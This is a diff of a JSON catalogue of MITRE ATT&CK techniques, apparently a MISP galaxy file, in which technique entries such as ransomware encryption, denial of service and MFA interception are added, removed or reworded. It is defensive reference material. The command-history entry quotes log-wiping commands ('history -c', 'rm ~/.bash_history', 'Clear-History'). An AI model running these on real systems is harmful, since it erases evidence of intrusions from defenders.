"https://www.nytimes.com/2007/11/04/technology/04jammer.html" - ] - }, - "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", - "value": "Network Denial of Service - T1464" - }, { "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", "meta": { @@ -6754,26 +6115,6 @@ "uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", "value": "Compromise Client Software Binary - T1554" }, - { - "description": "Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators. \n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device. ", - "meta": { - "external_id": "APP-27", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1645", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://source.android.com/security/verifiedboot/" - ] - }, - "uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "value": "Compromise Client Software Binary - T1645" - }, { "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "meta": { @@ -6803,33 +6144,6 @@ "uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "value": "Abuse Elevation Control Mechanism - T1548" }, - { - "description": "Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include: \n \n* Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.(Citation: IBM-NexusUSB) \n* Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.(Citation: GoogleProjectZero-OATmeal) \n* Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.(Citation: Computerworld-iPhoneCracking) ", - "meta": { - "external_id": "STA-6", - "kill_chain": [ - "mitre-mobile-attack:initial-access", - "mitre-mobile-attack:lateral-movement" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", - "https://attack.mitre.org/techniques/T1458", - "https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html", - "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", - "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-6.html", - "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/", - "https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html" - ] - }, - "uuid": "667e5707-3843-4da8-bd34-88b922526f0d", - "value": "Replication Through Removable Media - T1458" - }, { "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.", "meta": { @@ -6847,15 +6161,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", "value": "Downgrade to Insecure Protocols - T1466" }, @@ -6876,20 +6182,12 @@ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", "value": "Rogue Cellular Base Station - T1467" }, { - "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", "meta": { "external_id": "T1486", "kill_chain": [ @@ -6911,9 +6209,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1486", - "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/", - "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "https://www.us-cert.gov/ncas/alerts/AA18-337A", "https://www.us-cert.gov/ncas/alerts/TA16-091A", @@ -6980,7 +6276,7 @@ "value": "Network Denial of Service - T1498" }, { - "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", "meta": { "external_id": "CAPEC-125", "kill_chain": [ @@ -7105,17 +6401,14 @@ "mitre_data_sources": [ "Instance: Instance Creation", "Instance: Instance Deletion", - "Instance: Instance Metadata", "Instance: Instance Modification", "Instance: Instance Start", "Instance: Instance Stop", "Snapshot: Snapshot Creation", "Snapshot: Snapshot Deletion", - "Snapshot: Snapshot Metadata", "Snapshot: Snapshot Modification", "Volume: Volume Creation", "Volume: Volume Deletion", - "Volume: Volume Metadata", "Volume: Volume Modification" ], "mitre_platforms": [ @@ -7130,16 +6423,12 @@ "value": "Modify Cloud Compute Infrastructure - T1578" }, { - "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "meta": { "external_id": "T1589", "kill_chain": [ "mitre-attack:reconnaissance" ], - "mitre_data_sources": [ - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Content" - ], "mitre_platforms": [ "PRE" ], @@ -7147,7 +6436,6 @@ "https://attack.mitre.org/techniques/T1589", "https://github.com/dxa4481/truffleHog", "https://github.com/michenriksen/gitrob", - "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/", "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/", "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196", @@ -7221,6 +6509,38 @@ "uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "value": "Logon Script (Windows) - T1037.001" }, + { + "description": "Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook)\n\nAdversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ", + "meta": { + "external_id": "T1037.002", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037/002", + "https://support.apple.com/de-at/HT2420", + "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + ] + }, + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "type": "subtechnique-of" + } + ], + "uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0", + "value": "Logon Script (Mac) - T1037.002" + }, { "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)", "meta": { @@ -7268,7 +6588,7 @@ "value": "Dynamic-link Library Injection - T1055.001" }, { - "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "meta": { "external_id": "T1190", "kill_chain": [ @@ -7315,7 +6635,7 @@ "value": "Untargeted client-side exploitation - T1370" }, { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)\n Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", "meta": { "external_id": "T1095", "kill_chain": [ @@ -7344,7 +6664,7 @@ "value": "Non-Application Layer Protocol - T1095" }, { - "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "description": "Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", "meta": { "external_id": "T1111", "kill_chain": [ @@ -7368,7 +6688,7 @@ ] }, "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", - "value": "Multi-Factor Authentication Interception - T1111" + "value": "Two-Factor Authentication Interception - T1111" }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314).\n\nHost based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)", @@ -7533,34 +6853,6 @@ "uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "value": "SMB/Windows Admin Shares - T1021.002" }, - { - "description": "An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)", - "meta": { - "external_id": "EMM-5", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", - "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions", - "https://attack.mitre.org/techniques/T1630/003", - "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf", - "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html" - ] - }, - "related": [ - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "type": "subtechnique-of" - } - ], - "uuid": "a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9", - "value": "Disguise Root/Jailbreak Indicators - T1630.003" - }, { "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)", "meta": { @@ -7676,7 +6968,7 @@ "value": "Cached Domain Credentials - T1003.005" }, { - "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", + "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "meta": { "external_id": "T1070.003", "kill_chain": [ @@ -7685,21 +6977,18 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Deletion", - "File: File Modification", - "User Account: User Account Authentication" + "File: File Modification" ], "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1070/003", "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit", 